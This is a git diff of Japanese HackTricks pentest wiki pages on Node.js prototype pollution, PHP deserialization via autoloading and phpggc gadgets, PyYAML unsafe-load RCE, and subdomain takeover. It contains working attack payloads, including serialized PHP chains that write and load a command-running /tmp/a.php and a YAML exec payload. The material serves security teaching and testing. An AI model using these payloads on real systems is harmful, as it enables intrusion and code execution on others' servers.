require('./usage.js') require('./usage.js')
``` ```
## VM Gadgets ## VM ガジェット
論文 [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) にも、**`vm`** ライブラリのいくつかのメソッドの **`contextExtensions`** の制御がガジェットとして使用できることが示されています。\ 論文[https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)には、**`vm`**ライブラリの一部のメソッドから**`contextExtensions`**の制御がガジェットとして使用できる可能性が示されています。\
しかし、前述の **`child_process`** メソッドと同様に、最新バージョンで**修正** されています。 ただし、以前の**`child_process`**メソッドと同様に、最新バージョンで**修正**されています。
## 修正 & 意外な保護 ## 修正と予期しない保護
プロトタイプ汚染は、アクセスされているオブジェクトの **属性****未定義** の場合に機能することに注意してください。もし **コード** でその **属性****値****設定** されている場合、それを上書きすることは **できません** プロトタイプ汚染は、アクセスされているオブジェクトの**属性**が**未定義**である場合に機能します。もし**コード**でその**属性**に**値**が**設定**されている場合、それを上書きすることはできません。
2022年6月に [**このコミット**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) から、変数 `options``{}` の代わりに **`kEmptyObject`** になりました。これにより、**`options`** の **属性** に影響を与えるプロトタイプ汚染を **防ぐ** ことができ、RCEを取得することができません。\ 2022年6月、[**このコミット**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)で、`options`変数は`{}`ではなく**`kEmptyObject`**になりました。これにより、**`options`**の**属性**に影響を与えるプロトタイプ汚染からRCEを取得することが防がれます。\
少なくとも v18.4.0 からこの保護が **実装** され、そのため `spawn``spawnSync`**エクスプロイト** は(`options` が使用されていない場合)もう **機能しません** 少なくともv18.4.0からこの保護が**実装**されており、したがって`spawn`および`spawnSync`メソッドに影響する**exploit**は(`options`を使用しない限り)**動作しなくなりました**
[**このコミット**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) では、vm ライブラリの **`contextExtensions`** の **プロトタイプ汚染****`{}`** の代わりに **`kEmptyObject`** を設定することで **ある種の修正** が行われました。 [**このコミット**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)では、vmライブラリの**`contextExtensions`**の**プロトタイプ汚染**も、**`{}`**の代わりに**`kEmptyObject`**に設定することで**ある程度修正**されました。
### **その他のガジェット** ### **その他のガジェット**
@ -711,17 +665,3 @@ require('./usage.js')
* [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/) * [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
* [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) * [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) * [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com) を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションをチェックしてください。
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に **参加する** か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォローしてください**
* **HackTricks** の [**GitHub リポジトリ**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) に PR を提出して、あなたのハッキングのコツを **共有してください**
</details>

View file

@ -1,31 +1,31 @@
# PHP - シリアライゼーション + オートロードクラス # PHP - シリアライゼーション + オートロードクラス
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する** * **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>
まず、[**オートロードクラス**](https://www.php.net/manual/en/language.oop5.autoload.php)について確認してください 最初に、[**オートローディングクラス**](https://www.php.net/manual/en/language.oop5.autoload.php) を確認する必要があります
## PHPシリアライゼーション + spl\_autoload\_register + LFI/ガジェット ## PHPシリアライゼーション + spl\_autoload\_register + LFI/Gadget
**`phpggc`**内にガジェットに対して脆弱なライブラリが**ない**状態で、**PHPシリアライゼーションがあるwebapp**を見つけました。しかし、同じコンテナ内には、脆弱なライブラリを持つ**異なるcomposer webapp**がありました。したがって、目標は**他のwebappのcomposerローダーをロードし**、それを悪用して**ガジェットをロードし、そのライブラリをガジェットで悪用する**ことでした。 **`phpggc`** 内に**ガジェットがない**ライブラリを持つ **webアプリ****PHPデシリアライゼーション** を見つけた状況にいます。ただし、同じコンテナ内には **脆弱なライブラリを持つ別のcomposer webアプリ** がありました。したがって、目標は、**他のwebアプリのcomposerローダーを読み込んで**、デシリアライゼーションに脆弱なwebアプリからの **ガジェットを悪用してそのライブラリを攻撃するガジェットを読み込む** ことでした。
手順: 手順:
* **シリアライゼーション**を見つけましたが、現在のアプリコードには**ガジェットがありません** * **デシリアライゼーション** を見つけ、現在のアプリコードに **ガジェットがない**
* 次のような**`spl_autoload_register`** 関数を悪用して、`.php` 拡張子を持つ**任意のローカルファイルをロードする**ことができます * 次のような **`spl_autoload_register`** 関数を悪用して、`.php` 拡張子の **任意のローカルファイルを読み込む** ことができます
* そのために、クラス名が**`$name`**内にあるシリアライゼーションを使用します。シリアライズされたオブジェクトのクラス名には**"/" や "." を使用できません**が、**コード**は**アンダースコア** ("_") を**スラッシュ** ("/") に**置き換えています**。したがって、`tmp_passwd`のようなクラス名は`/tmp/passwd.php`に変換され、コードはそれをロードしようとします。\ * そのために、クラス名が **`$name`** 内にあるデシリアライゼーションを悪用します。シリアル化されたオブジェクト内のクラス名には **"/" や "."** を使用できませんが、**コード** は **アンダースコア** ("\_") を **スラッシュ** ("/") に **置換** しています。したがって、`tmp_passwd` のようなクラス名は `/tmp/passwd.php` に変換され、コードがそれを読み込もうとします。\
**ガジェットの例**は次のようになります: **`O:10:"tmp_passwd":0:{}`** **ガジェットの例** は: **`O:10:"tmp_passwd":0:{}`**
```php ```php
spl_autoload_register(function ($name) { spl_autoload_register(function ($name) {
@ -48,16 +48,16 @@ require __DIR__ . $filename;
}); });
``` ```
{% hint style="success" %} {% hint style="success" %}
**ファイルアップロード**があり、**`.php` 拡張子**のファイルをアップロードできる場合、この機能を**直接悪用**してすでにRCEを得ることができます。 **ファイルアップロード**があり、**`.php`拡張子**のファイルをアップロードできる場合、**この機能を直接悪用**してすでにRCEを得できます。
{% endhint %} {% endhint %}
私の場合、そのようなものはありませんでしたが、**同じコンテナ**に**`phpggc` ガジェットに脆弱なライブラリ**を持つ別のcomposerウェブページがありました。 私の場合、そのようなものはありませんでしたが、**同じコンテナ**に**`phpggc`ガジェットに脆弱なライブラリ**を持つ別のコンポーザーWebページがありました。
* この他のライブラリをロードするには、まずその他のウェブアプリの**composerローダーをロード**する必要があります(現在のアプリケーションのものでは、他のライブラリにアクセスできません)。**アプリケーションのパスを知っていれば**、次のように非常に簡単にこれを実現できます:**`O:28:"www_frontend_vendor_autoload":0:{}`**私の場合、composerローダーは`/www/frontend/vendor/autoload.php`にありました) - この他のライブラリを読み込むには、まず**その他のWebアプリのコンポーザーローダーを読み込む必要があります**(現在のアプリケーションのものは他のアプリケーションのライブラリにアクセスできません)。**アプリケーションのパスを知っている**場合、次のように非常に簡単にこれを達成できます:**`O:28:"www_frontend_vendor_autoload":0:{}`**(私の場合、コンポーザーローダーは`/www/frontend/vendor/autoload.php`にありました)
* これで、他の**アプリのcomposerローダー**を**ロード**できるようになったので、**`phpggc` ペイロード**を生成する時が来ました。私の場合は、**`Guzzle/FW1`**を使用し、ファイルシステム内の任意のファイルを**書き込むことができました** - これで、他の**アプリのコンポーザーローダー**を**読み込む**ことができるようになりました。次は、使用する**`phpggc`ペイロードを生成**する時です。私の場合、**`Guzzle/FW1`**を使用し、**ファイルシステム内に任意のファイルを書き込む**ことができました
* 注意:**生成されたガジェットは動作していませんでした**。動作させるためには、phpggcの**`chain.php`** ペイロードを**変更**し、クラスの**すべての属性**を**privateからpublicに変更**しました。そうしないと、文字列の逆シリアライズ後、作成されたオブジェクトの属性に値が設定されていませんでした。 - 注:**生成されたガジェットは機能しませんでした**。機能させるためには、そのペイロードの**`chain.php`**を変更し、クラスの**すべての属性をプライベートからパブリックに設定**する必要がありました。そうしないと、文字列を逆シリアル化した後、作成されたオブジェクトの属性に値が含まれていませんでした。
* これで、他のアプリのcomposerローダーを**ロード**する方法と、動作する**phpggcペイロード**ができましたが、ガジェットを使用するときにローダーがロードされるように、**同じリクエストでこれを行う必要があります**。そのため、両方のオブジェクトを含むシリアライズされた配列を送信しました: - これで、他のアプリのコンポーザーローダーを**読み込む方法**と機能する**phpggcペイロード**を持っていますが、**この作業を**ガジェットが使用される**ときにローダーが読み込まれるようにするために、**同じリクエストでこれを行う必要があります**。そのため、次のように両方のオブジェクトを含むシリアル化された配列を送信しました:
* **ローダーがロードされた後にペイロードが続く**のがわかります - **最初にローダーが読み込まれ、次にペイロードが表示されます**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```php ```php
@ -65,7 +65,7 @@ a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
``` ```
{% endcode %} {% endcode %}
* これで、**ファイルを作成し書き込む**ことができますが、ユーザーは**ウェブサーバー内の任意のフォルダーに書き込むことはできません**。したがって、ペイロードにあるように、PHPが**`system`** を呼び出している部分で、**base64** を使ったコマンドが **`/tmp/a.php`** に作成されます。その後、最初に使用したLFIを利用してコンポーザーローダーを読み込んだタイプのペイロードを**再利用して、生成された `/tmp/a.php`** ファイルを読み込むことができます。それをデシリアライゼーションガジェットに追加するだけです: * 今、**ファイルを作成して書き込む**ことができますが、ユーザーは**Webサーバー内の任意のフォルダに書き込むことができません**。したがって、ペイロードで見られるように、PHPは**`/tmp/a.php`**に作成された**base64**を使用して**`system`**を呼び出します。その後、他のWebアプリのコンポーザーローダーをロードするために使用した最初のタイプのペイロードを再利用できます。生成された**`/tmp/a.php`**ファイルをロードするために、デシリアライゼーションガジェットに追加するだけです:&#x20;
{% code overflow="wrap" %} {% code overflow="wrap" %}
```php ```php
@ -75,23 +75,9 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
**ペイロードの要約** **ペイロードの要約**
* 同じコンテナ内の別のウェブアプリの **composerのautoloadを読み込む** * 同じコンテナ内の別のWebアプリの**composer autoloadをロード**
* 別のウェブアプリのライブラリを悪用するために **phpggcガジェットを読み込む**(最初のウェブアプリはライブラリにガジェットがなかった) * **phpggcガジェットをロード**して、他のWebアプリのライブラリを悪用する逆シリアル化の脆弱性がある初期のWebアプリにはガジェットが含まれていなかった)
* ガジェットは、悪意のあるコマンドを含むPHPペイロードを/tmp/a.phpに **ファイルを作成する**(ウェブアプリのユーザーはどのウェブアプリのフォルダにも書き込むことができない) * ガジェットは、悪意のあるコマンドが含まれた/tmp/a.phpにPHPペイロードのファイルを**作成**するWebアプリのユーザーは他のWebアプリのどのフォルダにも書き込むことができない)
* ペイロードの最終部分では、生成されたphpファイルを **読み込んでコマンドを実行する** * ペイロードの最後の部分では、**生成されたphpファイルをロード**してコマンドを実行する
このデシリアライゼーションを**2回呼び出す必要があった**。テスト中、最初の呼び出しでは`/tmp/a.php`ファイルが作成されたが読み込まれず、2回目に正しく読み込まれた。 この逆シリアル化を**2回呼び出す必要がありました**。テストでは、最初の呼び出しでは`/tmp/a.php`ファイルが作成されましたがロードされず、2回目の呼び出しでは正しくロードされました。
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>をチェック!</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -5,17 +5,17 @@
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**。**
* **ハッキングテクニックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。 * **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出する
</details> </details>
# Yaml **Deserialization** # Yaml **Deserialization**
**Yaml** python ライブラリは、生データだけでなく **Pythonオブジェクトをシリアライズ** することもできます: **Yaml** python ライブラリは、生データだけでなく **Pythonオブジェクトをシリアライズ** することもできます
``` ```
print(yaml.dump(str("lol"))) print(yaml.dump(str("lol")))
lol lol
@ -33,7 +33,7 @@ print(yaml.dump(range(1,10)))
- 10 - 10
- 1 - 1
``` ```
**タプル**が生のデータ型ではないため、それが**シリアル化**されたことを確認してください。そして同じことが**range**(組み込みから取得)でも起こりました。 **タプル**が生のデータ型ではないため、**シリアル化**されました。そして同じことが**range**(組み込みから取得)でも起こりました。
![](<../../.gitbook/assets/image (628) (1).png>) ![](<../../.gitbook/assets/image (628) (1).png>)
@ -79,7 +79,7 @@ print(yaml.unsafe_load_all(data))
pyyamlの**古いバージョン**は、何かをロードする際に**ローダーを指定しなかった場合**、逆シリアル化攻撃の脆弱性がありました: `yaml.load(data)` pyyamlの**古いバージョン**は、何かをロードする際に**ローダーを指定しなかった場合**、逆シリアル化攻撃の脆弱性がありました: `yaml.load(data)`
[**脆弱性の説明はこちら**](https://hackmd.io/@defund/HJZajCVlP)** です。** そのページで提案されている**攻撃**は次のとおりです: [**脆弱性の説明はこちら**](https://hackmd.io/@defund/HJZajCVlP)** で見つけることができます。** そのページで提案されている**攻撃**は次のとおりです:
```yaml ```yaml
!!python/object/new:str !!python/object/new:str
state: !!python/tuple state: !!python/tuple
@ -92,11 +92,11 @@ update: !!python/name:exec
```yaml ```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]} !!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
``` ```
Note that in **recent versions** you cannot **no longer call `.load()`** **without a `Loader`** and the **`FullLoader`** is **no longer vulnerable** to this attack. 最近のバージョンでは、`Loader`なしで`.load()`を呼び出すことはできなくなりました。また、`FullLoader`はこの攻撃に対して脆弱ではなくなりました。
# RCE # RCE
Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization. **PyYAML**や**ruamel.yaml**などのPython YAMLモジュールを使用してカスタムペイロードを作成できます。これらのペイロードは、適切なサニタイズを行わずに信頼できない入力をデシリアライズするシステムの脆弱性を悪用することができます。
```python ```python
import yaml import yaml
from yaml import UnsafeLoader, FullLoader, Loader from yaml import UnsafeLoader, FullLoader, Loader
@ -155,7 +155,7 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 * **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したいか、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)。
- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>
@ -22,15 +22,15 @@ HackTricksをサポートする他の方法
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ドメイン乗っ取り ## ドメイン乗っ取り
スコープ内で**サービスに使用されているドメインdomain.tld**を発見した場合、**企業**が**所有権を失っている**可能性があります。このドメインを(安価であれば)**登録**して企業に通知できます。このドメインが**セッションクッキーなどの**機密情報を受信している場合(**GET**パラメータや**Referer**ヘッダー経由)、これは間違いなく**脆弱性**です。 スコープ内で**サービスに使用されているドメインdomain.tld**を発見した場合、**企業**が**所有権を失っている**可能性があります。このドメインを**登録**して(安価であれば)、企業に通知できます。このドメインが**GET**パラメータや**Referer**ヘッダーを介して**セッションクッキーなどの機密情報**を受信している場合、これは間違いなく**脆弱性**です。
### サブドメイン乗っ取り ### サブドメイン乗っ取り
企業のサブドメインが**登録されていない名前のサードパーティサービス**を指している場合、この**サードパーティサービス**で**アカウントを作成**し、使用中の**名前**を**登録**できれば、サブドメインの乗っ取りを行うことができます。 企業のサブドメインが**登録されていない名前のサードパーティサービス**を指している場合、この**サードパーティサービス**で**アカウントを作成**し、使用中の**名前**を**登録**できれば、サブドメインの乗っ取りを行うことができます。
可能な乗っ取りをチェックするための辞書を備えたいくつかのツールがあります: 可能な乗っ取りをチェックするための辞書を持ついくつかのツールがあります:
- [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) - [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
- [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot) - [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot)
@ -54,13 +54,13 @@ bbot -t evilcorp.com -f subdomain-enum
例えば、`*.testing.com`が`1.1.1.1`にワイルドカード指定されている場合、`not-existent.testing.com`は`1.1.1.1`を指すことになります。 例えば、`*.testing.com`が`1.1.1.1`にワイルドカード指定されている場合、`not-existent.testing.com`は`1.1.1.1`を指すことになります。
しかし、IPアドレスを指定する代わりに、システム管理者が**CNAME経由でサードパーティーサービス**(たとえば**githubサブドメイン**)にポイントした場合、攻撃者は自分のサードパーティーページこの場合はGihubを作成し、`something.testing.com`がそこを指すと主張することができます。**CNAMEワイルドカード**が攻撃者に同意するため、攻撃者は被害者のドメインのために**自分のページを指す任意のサブドメインを生成**することができます。 しかし、IPアドレスではなく、サードパーティーサービスをCNAME経由で指定する場合、たとえば**githubのサブドメイン**`sohomdatta1.github.io`など)に指定する場合、攻撃者は自分のサードパーティーページこの場合はGithubを作成し、`something.testing.com`がそこを指すと主張することができます。**CNAMEワイルドカード**が攻撃者に同意するため、攻撃者は被害者のドメインのために**任意のサブドメインを自分のページを指すように生成**することができます。
この脆弱性の例は、CTFの解説で見つけることができます[https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api) この脆弱性の例は、CTFの解説で見つけることができます[https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
## サブドメイン乗っ取りの悪用 ## サブドメイン乗っ取りの悪用
サブドメイン乗っ取りは、インターネット全体の特定のドメインに対するDNSスプーフィングであり、攻撃者がドメインのAレコードを設定し、ブラウザが攻撃者のサーバーからコンテンツを表示するようにするものです。ブラウザの**透明性**により、ドメインはフィッシング攻撃の標的となります。攻撃者はこの目的のために[_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting)や[_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger)を利用することがあります。特に、フィッシングメールのURLが正当であるように見え、ドメインの信頼性によりユーザーを欺き、スパムフィルターを回避することができます。 サブドメイン乗っ取りは、インターネット全体の特定のドメインに対するDNSスプーフィングであり、攻撃者がドメインのAレコードを設定し、ブラウザが攻撃者のサーバーからコンテンツを表示するようにするものです。ブラウザの**透明性**により、ドメインはフィッシング攻撃の標的となります。攻撃者はこの目的のために[_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting)や[_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger)を利用することがあります。特に、フィッシングメールのURLが正当であるように見え、ドメインの信頼性によりユーザーを欺き、スパムフィルターを回避することができます。
詳細については、[この投稿を参照してください](https://0xpatrik.com/subdomain-takeover/) 詳細については、[この投稿を参照してください](https://0xpatrik.com/subdomain-takeover/)
@ -68,13 +68,13 @@ bbot -t evilcorp.com -f subdomain-enum
攻撃者が[_Let's Encrypt_](https://letsencrypt.org/)などのサービスを介して生成したSSL証明書は、これらの偽のドメインの信頼性を高め、フィッシング攻撃をより説得力のあるものにします。 攻撃者が[_Let's Encrypt_](https://letsencrypt.org/)などのサービスを介して生成したSSL証明書は、これらの偽のドメインの信頼性を高め、フィッシング攻撃をより説得力のあるものにします。
### **Cookieセキュリティとブラウザの透明性** ### **Cookieセキュリティとブラウザの透明性**
ブラウザの透明性は、[同一オリジンポリシー](https://en.wikipedia.org/wiki/Same-origin_policy)などのポリシーによって管理されるクッキーセキュリティにも適用されます。セッションの管理やログイントークンの保存によく使用されるクッキーは、サブドメイン乗っ取りを通じて悪用される可能性があります。攻撃者は、危険にさらされたサブドメインにユーザーを誘導することで、**セッションクッキーを収集**することができ、ユーザーデータやプライバシーを危険にさらすことができます。 ブラウザの透明性は、[同一生成元ポリシー](https://en.wikipedia.org/wiki/Same-origin_policy)などのポリシーによって管理されるクッキーセキュリティにも適用されます。セッションの管理やログイントークンの保存によく使用されるクッキーは、サブドメイン乗っ取りを通じて悪用される可能性があります。攻撃者は、危険にさらされたサブドメインにユーザーを誘導することで、セッションクッキーを**収集**することができ、ユーザーデータやプライバシーを危険にさらすことができます。
### **メールとサブドメイン乗っ取り** ### **メールとサブドメイン乗っ取り**
サブドメイン乗っ取りの別の側面には、メールサービスが含まれます。攻撃者は**MXレコード**を操作して、正当なサブドメインからメールを受信または送信することができ、フィッシング攻撃の効果を高めることができます。 サブドメイン乗っ取りの別の側面には、メールサービスが含まれます。攻撃者は、MXレコードを操作して、正当なサブドメインからメールを受信または送信することができ、フィッシング攻撃の効果を高めることができます。
### **高次のリスク** ### **高次のリスク**
